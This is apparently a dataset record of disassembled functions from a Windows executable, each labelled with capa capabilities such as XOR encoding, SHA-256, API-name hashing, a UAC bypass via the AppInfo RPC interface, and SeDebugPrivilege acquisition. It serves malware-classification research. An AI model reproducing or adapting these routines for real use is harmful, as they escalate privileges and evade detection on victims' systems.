joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001414
Capabilities:
Encode data using xor

Disassembly:
mov r8, rcx
xor r9d, r9d
xor r10d, r10d
lea eax, [r9 + r10*4]
inc r10d
mov al, byte [rax + rdx]
xor byte [r8], al
inc r8
cmp r10d, 4
jb 0x14000141d
inc r9d
cmp r9d, 4
jb 0x14000141a
ret

Function at 0x140001e64
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x20]
mov rbx, rcx
sub rcx, rax
lea r12, [0x140000000]
xor edx, edx
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea r15d, [rdx + 4]
mov r10d, r15d
lea r8, [r12 + 0x21460]
mov r9, rcx
add r8, rdx
lea r14, [rsp + 0x20]
add r14, rdx
mov rdi, r15
movzx esi, byte [r8]
mov r11, r14
shl rsi, 8
mov rbp, r15
movzx eax, byte [r9 + r11]
add rax, rsi
mov al, byte [rax + r12 + 0x20550]
xor byte [r11], al
inc r11
sub rbp, 1
jne 0x140001ed3
inc r8
add r9, r15
sub rdi, 1
jne 0x140001ec5
add rdx, r15
sub rcx, r15
sub r10, 1
jne 0x140001eac
lea rdi, [rsp + 0x20]
mov rsi, r15
sub rdi, rbx
lea rdx, [rdi + rbx]
mov r8, r15
mov rcx, rbx
call fcn.14001e180
add rbx, r15
sub rsi, 1
jne 0x140001f12
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000e900
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x14000241c
Capabilities:
Encode data using xor

Disassembly:
test r9d, r9d
je 0x14000243e
sub rdx, r8
mov r10d, r9d
sub rcx, r8
mov al, byte [rdx + r8]
xor al, byte [r8]
mov byte [rcx + r8], al
inc r8
sub r10, 1
jne 0x14000242a
ret

Function at 0x140002440
Capabilities:
Encode data using xor

Disassembly:
sub rdx, r8
mov r9d, 4
sub rcx, r8
mov al, byte [rdx + r8]
xor al, byte [r8]
mov byte [rcx + r8], al
inc r8
sub r9, 1
jne 0x14000244c
ret
Function at 0x14000254c
Capabilities:
Hash data using sha256

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rsi, rdx
mov rbx, rcx
mov qword [rbp - 0x39], rcx
and dword [rbp - 0x49], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], 0xf
mov byte [rcx], 0
mov dword [rbp - 0x49], 1
mov r15, qword [rdx + 8]
test r15, r15
je 0x1400026a1
mov dword [rbp - 0x31], 0x6a09e667
mov dword [rbp - 0x2d], 0xbb67ae85
mov dword [rbp - 0x29], 0x3c6ef372
mov dword [rbp - 0x25], 0xa54ff53a
mov dword [rbp - 0x21], 0x510e527f
mov dword [rbp - 0x1d], 0x9b05688c
mov dword [rbp - 0x19], 0x1f83d9ab
mov dword [rbp - 0x15], 0x5be0cd19
xor edx, edx
lea r8d, [rdx + 0x40]
lea rcx, [rbp - 9]
call fcn.14001e820
xor edi, edi
xor r14d, r14d
mov qword [rbp - 0x41], r14
mov rsi, qword [rsi]
add r15, rsi
lea ecx, [rdi + 0xf]
cmp rsi, r15
je 0x140002647
mov al, byte [rsi]
mov byte [rbp + rdi - 9], al
inc edi
cmp edi, 0x40
jne 0x140002637
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x31]
call fcn.1400028a8
add r14, 0x200
xor edi, edi
inc rsi
cmp rsi, r15
jne 0x140002614
mov qword [rbp - 0x41], r14
mov rcx, qword [rbx + 0x18]
mov edx, 0x20
cmp qword [rbx + 0x10], rdx
jb 0x140002668
mov qword [rbx + 0x10], rdx
mov rax, rbx
cmp rcx, 0xf
jbe 0x140002662
mov rax, qword [rbx]
mov byte [rax + 0x20], 0
jmp 0x140002677
sub rdx, qword [rbx + 0x10]
xor r8d, r8d
mov rcx, rbx
call fcn.1400024bc
lea r9, [rbp - 0x41]
mov r8d, edi
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x31]
call fcn.1400026ec
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140002698
mov rcx, qword [rbx]
lea rdx, [rbp - 0x31]
call fcn.1400027c8
mov rax, rbx
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14000e900
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400028a8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov rbx, rdx
mov qword [rsp + 0x20], rcx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, pe_nt_image_headers64
call fcn.14001e820
xor r12d, r12d
lea r9, [rsp + 0x50]
mov r8b, r12b
lea r14d, [r12 + 0x10]
mov r10d, r14d
movzx edx, r8b
movzx eax, r8b
add r8b, 4
movzx ecx, byte [rax + rbx + 1]
movzx eax, byte [rdx + rbx]
shl eax, 8
or ecx, eax
movzx eax, byte [rdx + rbx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + rbx + 3]
shl ecx, 8
or ecx, eax
or dword [r9], ecx
lea r9, [r9 + 4]
sub r10, 1
jne 0x14000290a
lea rdi, [rsp + 0x50]
lea r15d, [r10 + 0x40]
movzx ecx, r14b
mov ecx, dword [rsp + rcx*4 + 0x14]
call fcn.140002838
mov ecx, dword [rdi + 0x38]
mov ebx, eax
call fcn.140002870
add ebx, eax
inc r14b
add ebx, dword [rdi + 0x24]
add ebx, dword [rdi]
mov dword [rdi + 0x40], ebx
lea rdi, [rdi + 4]
cmp r14b, r15b
jb 0x14000294e
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rsp + 0x28], xmm0
mov r13d, dword [rsp + 0x28]
movups xmmword [rsp + 0x38], xmm1
mov ebx, dword [rsp + 0x44]
mov r14d, dword [rsp + 0x38]
mov esi, dword [rsp + 0x40]
mov edx, 0x19
mov ecx, r14d
call fcn.140002830
mov edx, 0xb
mov ecx, r14d
mov edi, eax
call fcn.140002830
mov edx, 6
mov ecx, r14d
xor edi, eax
call fcn.140002830
mov edx, dword [rsp + 0x3c]
mov r8d, esi
mov ecx, r14d
xor edi, eax
call fcn.1400026d0
add edi, eax
mov edx, 0x16
lea rax, [0x140021520]
mov ecx, r13d
add edi, dword [r12 + rax]
add edi, dword [rsp + r12 + 0x50]
add edi, ebx
call fcn.140002830
mov edx, 0xd
mov ecx, r13d
mov ebx, eax
call fcn.140002830
mov edx, 2
mov ecx, r13d
xor ebx, eax
call fcn.140002830
mov r8d, dword [rsp + 0x30]
mov ecx, r13d
mov edx, dword [rsp + 0x2c]
xor ebx, eax
call fcn.1400026dc
lea ecx, [rdi + rbx]
mov ebx, esi
mov esi, dword [rsp + 0x3c]
lea r12, [r12 + 4]
add eax, ecx
mov dword [rsp + 0x3c], r14d
mov ecx, dword [rsp + 0x30]
mov r14d, dword [rsp + 0x34]
add r14d, edi
mov dword [rsp + 0x34], ecx
mov ecx, dword [rsp + 0x2c]
mov dword [rsp + 0x2c], r13d
mov r13d, eax
mov dword [rsp + 0x30], ecx
sub r15, 1
jne 0x14000299e
mov dword [rsp + 0x40], esi
lea rcx, [rsp + 0x28]
mov rsi, qword [rsp + 0x20]
lea edx, [r15 + 8]
sub rcx, rsi
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x44], ebx
mov eax, dword [rsi + rcx]
add dword [rsi], eax
lea rsi, [rsi + 4]
sub rdx, 1
jne 0x140002a8d
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.14000e900
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140002e48
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x58]
sub rsp, 0x150
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x30], rax
lea rcx, [rsp + 0x50]
call fcn.1400095c8
call fcn.14000adf4
test al, al
je 0x140002fe2
mov ecx, dword [0x14002dd70]
mov rax, qword gs:[0x58]
movdqa xmm6, xmmword [0x140021620]
mov ebx, 0x10
mov r15d, 0x24
mov rdi, qword [rax + rcx*8]
add rbx, rdi
lea rsi, [rbx + 0x12]
mov eax, dword [r15 + rdi]
mov word [rsp + 0x48], 0xb9d5
test al, 1
jne 0x140002f19
or eax, 1
mov byte [rbx + 0x13], 1
mov dword [r15 + rdi], eax
lea rax, [rsp + 0x4a]
cmp rbx, rax
ja 0x140002efd
lea rax, [rsp + 0x38]
cmp rsi, rax
jb 0x140002efd
movzx eax, word [rsp + 0x48]
movups xmmword [rbx], xmm6
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x1d
jmp 0x140002f0d
movzx eax, word [rsp + 0x48]
movups xmmword [rbx], xmm6
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x1d
lea rcx, [0x14001f9d0]
call fcn.14000e9f4
cmp byte [rbx + 0x13], 0
je 0x140002f49
xor r8d, r8d
mov cl, r8b
movabs rdx, 0x9bd595af851d8be7
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [rbx + r8], dl
inc r8
cmp r8, 0x13
jb 0x140002f22
mov byte [rbx + 0x13], 0
mov qword [rsp + 0x20], rbx
or rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x140002f52
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x70]
call fcn.1400034bc
cmp qword [rbp - 0x58], 0xffffffffffffffff
je 0x140002fc0
xor r8d, r8d
lea rcx, [rsp + 0x70]
lea edx, [r8 + 1]
call fcn.140003ef4
lea rcx, [rsp + 0x70]
call fcn.140003d2c
test al, al
je 0x140002fc0
mov qword [rsp + 0x30], 0x78
lea rcx, [rsp + 0x70]
call fcn.1400040c0
lea rcx, [rsp + 0x30]
call fcn.140002b44
lea rcx, [rsp + 0x70]
call fcn.140003d2c
test al, al
jne 0x140002f9e
lea rcx, [rsp + 0x70]
call fcn.140002bf8
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0xa
call fcn.140002b44
jmp 0x140002ebd
call fcn.14000ad88
test al, al
lea rcx, [rsp + 0x20]
lea rax, [rsp + 0x50]
je 0x140003022
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call fcn.14000b6c0
jmp 0x14000304d
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call fcn.14000b348
lea rcx, [rsp + 0x50]
call fcn.140002d24
xor eax, eax
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.14000e900
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
Function at 0x140006580
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov r9d, 0x270
mov rbx, rcx
cmp dword [rcx], r9d
jne 0x1400065d3
lea r8, [rcx + 8]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140006598
jmp 0x1400065e0
cmp dword [rcx], 0x4e0
jb 0x1400065e0
call fcn.140006b10
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x140006b10
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
lea r10, [rcx + 0x9c4]
mov r9, rcx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov edx, eax
add r10, 4
mov r11d, dword [r10]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140006b27
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
mov eax, r11d
mov r8, r10
mov edx, eax
add r10, 4
mov r11d, dword [r10]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140006b74
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and dword [r9], ebx
mov rbx, qword [rsp + 8]
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
shr edx, 1
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
ret
Function at 0x140007e30
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
and dword [rsp + 0x20], 0
lea r9, [rsp + 0x20]
mov r8d, 1
mov rsi, rcx
mov dl, r8b
call fcn.14000c5e8
mov rbx, rax
test rax, rax
je 0x140007f6b
cmp dword [rax + 0xc], 0
je 0x140007f6b
mov edi, dword [rbx + 0xc]
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x208
add rdi, rsi
call fcn.14001e820
xor ecx, ecx
lea rdx, [rsp + 0x30]
cmp byte [rdi], 0
je 0x140007ec3
movsx eax, byte [rdi]
inc ecx
mov word [rdx], ax
inc rdi
add rdx, 2
cmp ecx, 0x103
jb 0x140007ea7
lea rcx, [rsp + 0x30]
call fcn.14000c078
mov rbp, rax
test rax, rax
je 0x140007f95
mov ecx, dword [rbx + 0x10]
mov eax, dword [rbx]
test eax, eax
lea r14, [rcx + rsi]
cmovne ecx, eax
lea rdi, [rcx + rsi]
jmp 0x140007f56
jns 0x140007ef7
movzx edx, word [rdi]
mov r8b, 1
jmp 0x140007f3e
mov r10, qword [rdi]
add r10, rsi
or r8, 0xffffffffffffffff
inc r8
cmp byte [r10 + r8 + 2], 0
jne 0x140007f01
xor r9d, r9d
mov edx, 0x35330d
test r8, r8
je 0x140007f37
movsx ecx, byte [r10 + r9 + 2]
mov eax, edx
shl eax, 5
inc r9
add ecx, eax
mov eax, edx
shr eax, 2
add ecx, eax
xor edx, ecx
cmp r9, r8
jb 0x140007f19
btr edx, 0x1f
xor r8b, r8b
mov rcx, rbp
call fcn.14000be10
mov qword [r14], rax
test rax, rax
je 0x140007f95
add rdi, 8
add r14, 8
mov rcx, qword [rdi]
test rcx, rcx
jne 0x140007eed
add rbx, 0x14
cmp dword [rbx + 0xc], ecx
jne 0x140007e88
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000e900
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
xor al, al
jmp 0x140007f6d
Function at 0x14000803c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x12e0]
mov eax, 0x13e0
call fcn.14000eb10
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x12d0], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
call fcn.14000e71c
mov edx, eax
or dword [rbp + 0x12c4], 0xffffffff
mov dword [rsp + 0x44], eax
lea r8d, [r14 + 1]
mov ecx, r8d
mov r9d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x44], edx
add rcx, r8
cmp rcx, r9
jb 0x14000809f
mov dword [rsp + 0x40], r9d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov esi, 7
mov qword [rbx + 0x18], rsi
mov word [rbx], r14w
mov dword [rsp + 0x20], r8d
lea r9d, [rsi + 0x19]
lea r8d, [rsi + 9]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.140006038
movsxd rdx, eax
cmp rdx, qword [rbx + 0x10]
ja 0x140008112
mov qword [rbx + 0x10], rdx
mov rax, rbx
cmp qword [rbx + 0x18], rsi
jbe 0x14000810b
mov rax, qword [rbx]
mov word [rax + rdx*2], r14w
jmp 0x140008121
xor r8d, r8d
sub rdx, qword [rbx + 0x10]
mov rcx, rbx
call fcn.14000920c
mov rdi, rbx
cmp qword [rbx + 0x18], rsi
jbe 0x14000812d
mov rdi, qword [rbx]
mov rcx, rbx
jbe 0x140008135
mov rcx, qword [rbx]
mov rax, qword [rbx + 0x10]
lea rsi, [rcx + rax*2]
jmp 0x140008193
mov r9d, 2
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.140006038
mov ecx, eax
test eax, eax
je 0x140008173
sub ecx, 1
je 0x140008167
cmp ecx, 1
jne 0x14000818f
mov r9d, 0x7a
lea r8d, [r9 - 0x19]
jmp 0x14000817d
mov r9d, 0x39
lea r8d, [r9 - 9]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.140006038
mov word [rdi], ax
add rdi, 2
cmp rdi, rsi
jne 0x14000813f
mov rax, rbx
mov rcx, qword [rbp + 0x12d0]
xor rcx, rsp
call fcn.14000e900
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000a2b0
Capabilities:
Bypass uac via rpc

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov r14d, r9d
mov r12, r8
mov r15, rdx
mov rsi, rcx
mov r13, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0xf8]
mov qword [rbp - 0x68], rax
mov rdi, qword [rbp + 0x110]
xor ebx, ebx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
movsx eax, word [rbp + 0x108]
mov dword [rbp - 0x34], eax
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x78], rbx
xor edx, edx
lea r8d, [rbx + 0x70]
lea rcx, [rbp]
call fcn.14001e820
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea r8d, [rbx + 0x24]
lea rdx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
lea rcx, [rbp - 0x20]
call fcn.14000938c
nop
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
lea r8, [rsp + 0x78]
mov rcx, rsi
call fcn.14000a540
test eax, eax
jne 0x14000a44f
lea rdx, [rbp]
mov rcx, rsi
call fcn.14000a4e0
test eax, eax
jne 0x14000a437
mov dword [rsp + 0x70], ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x60], rax
mov eax, dword [rbp + 0x100]
mov dword [rsp + 0x58], eax
mov rax, qword [rbp - 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov eax, dword [rbp + 0xe0]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, qword [rsp + 0x78]
lea rdx, [rbp]
mov rcx, rsi
call fcn.14000ae54
test eax, eax
jne 0x14000a42e
mov rax, qword [rbp - 0x80]
mov qword [rdi], rax
mov rax, qword [rbp - 0x78]
mov qword [rdi + 8], rax
mov eax, dword [rbp - 0x70]
mov dword [rdi + 0x10], eax
mov eax, dword [rbp - 0x6c]
mov dword [rdi + 0x14], eax
mov bl, 1
lea rcx, [rbp]
call fcn.14000a4bc
xor r8d, r8d
mov edx, 0x77a9d2de
mov rcx, rsi
call fcn.14000be10
lea rcx, [rsp + 0x78]
call rax
nop
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000a48b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a486
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a4b4
call fcn.14000e7e4
mov al, bl
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000e900
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400148e4
int3
Function at 0x14000aaa8
Capabilities:
Acquire debug privileges

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor edi, edi
mov qword [r11 - 0x38], rdi
call fcn.14000de98
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [rdi + 0x20]
call fcn.14000dfd0
test eax, eax
js 0x14000ab91
lea rcx, str.advapi32.dll
call fcn.14000c078
mov rsi, rax
test rax, rax
je 0x14000ab87
xor r8d, r8d
mov qword [rsp + 0x38], rdi
mov edx, 0x2d6b006c
mov rcx, rax
call fcn.14000be10
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call rax
test eax, eax
je 0x14000ab7f
mov rax, qword [rsp + 0x38]
lea ebp, [rdi + 1]
mov rbx, qword [rsp + 0x30]
xor r8d, r8d
mov edx, 0x1f8ea0e4
mov dword [rsp + 0x40], ebp
mov rcx, rsi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 2
call fcn.14000be10
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
movzx edi, dil
cmovne edi, ebp
mov rcx, rsi
call fcn.14000bc80
mov rcx, qword [rsp + 0x30]
call fcn.14000dc04
mov al, dil
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000e900
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14000be10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r13b, r8b
mov dword [rsp + 0x20], edx
xor edi, edi
lea r9, [rsp + 0x24]
xor r8d, r8d
mov dword [rsp + 0x24], edi
mov dl, 1
mov r14, rcx
call fcn.14000c5e8
mov rdx, rax
test rax, rax
je 0x14000c03f
mov r12d, dword [rax + 0x1c]
or r15, 0xffffffffffffffff
mov r10d, dword [rax + 0x20]
add r12, r14
mov eax, dword [rax + 0x24]
add r10, r14
add rax, r14
mov ebx, edi
mov qword [rsp + 0x28], rax
mov esi, 0x35330d
test r13b, r13b
je 0x14000beb4
movzx eax, word [rsp + 0x20]
cmp eax, dword [rdx + 0x10]
jb 0x14000c03f
cmp eax, dword [rdx + 0x14]
jae 0x14000c03f
sub eax, dword [rdx + 0x10]
mov ebx, dword [r12 + rax*4]
jmp 0x14000bf2e
mov r9d, edi
cmp dword [rdx + 0x18], edi
jbe 0x14000bf31
mov eax, dword [rsp + 0x20]
mov r13d, dword [r10]
mov r11, r15
add r13, r14
inc r11
cmp byte [r11 + r13], dil
jne 0x14000bec9
mov r8d, esi
test r11, r11
je 0x14000bf05
mov r15, rbx
movsx ecx, byte [r15 + r13]
mov eax, r8d
shl eax, 5
inc r15
add ecx, eax
mov eax, r8d
shr eax, 2
add ecx, eax
xor r8d, ecx
cmp r15, r11
jb 0x14000bedd
mov eax, dword [rsp + 0x20]
or r15, 0xffffffffffffffff
btr r8d, 0x1f
cmp r8d, eax
je 0x14000bf1e
inc r9d
add r10, 4
cmp r9d, dword [rdx + 0x18]
jb 0x14000bec0
jmp 0x14000bf31
mov rcx, qword [rsp + 0x28]
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov ebx, dword [r12 + rcx*4]
add rbx, r14
cmp rbx, rdx
jb 0x14000c03a
mov eax, dword [rsp + 0x24]
add rax, rdx
cmp rbx, rax
jae 0x14000c03a
mov dl, 0x2e
mov rcx, rbx
call fcn.14000b8b8
mov r14, rax
test rax, rax
je 0x14000c03f
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x200
call fcn.14001e820
mov ecx, edi
lea rdx, [rsp + 0x40]
cmp rbx, r14
je 0x14000bf95
movsx eax, byte [rbx]
inc ecx
mov word [rdx], ax
inc rbx
add rdx, 2
cmp ecx, 0xff
jb 0x14000bf79
xorps xmm0, xmm0
lea rdx, [rsp + 0x28]
mov r8b, 1
lea rcx, [rsp + 0x40]
movups xmmword [rsp + 0x28], xmm0
call fcn.14000ba90
test al, al
jne 0x14000bfc2
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x28]
call fcn.14000b864
lea rcx, [rsp + 0x28]
call fcn.14000bcb0
mov r14, rax
test rax, rax
je 0x14000c03f
cmp byte [rbx + 1], 0x23
jne 0x14000c003
lea rcx, [rbx + 2]
mov dword [rsp + 0x20], edi
lea r8, [rsp + 0x20]
xor edx, edx
call fcn.14000b8d4
test eax, eax
jns 0x14000c03f
mov edx, dword [rsp + 0x20]
mov r8b, 1
mov rcx, r14
call fcn.14000be10
jmp 0x14000c041
inc r15
cmp byte [rbx + r15 + 1], dil
jne 0x14000c003
test r15, r15
je 0x14000c02f
movsx ecx, byte [rbx + rdi + 1]
mov eax, esi
shl eax, 5
inc rdi
add ecx, eax
mov eax, esi
shr eax, 2
add ecx, eax
xor esi, ecx
cmp rdi, r15
jb 0x14000c012
btr esi, 0x1f
xor r8d, r8d
mov edx, esi
jmp 0x14000bff9
mov rax, rbx
jmp 0x14000c041
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14000e900
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret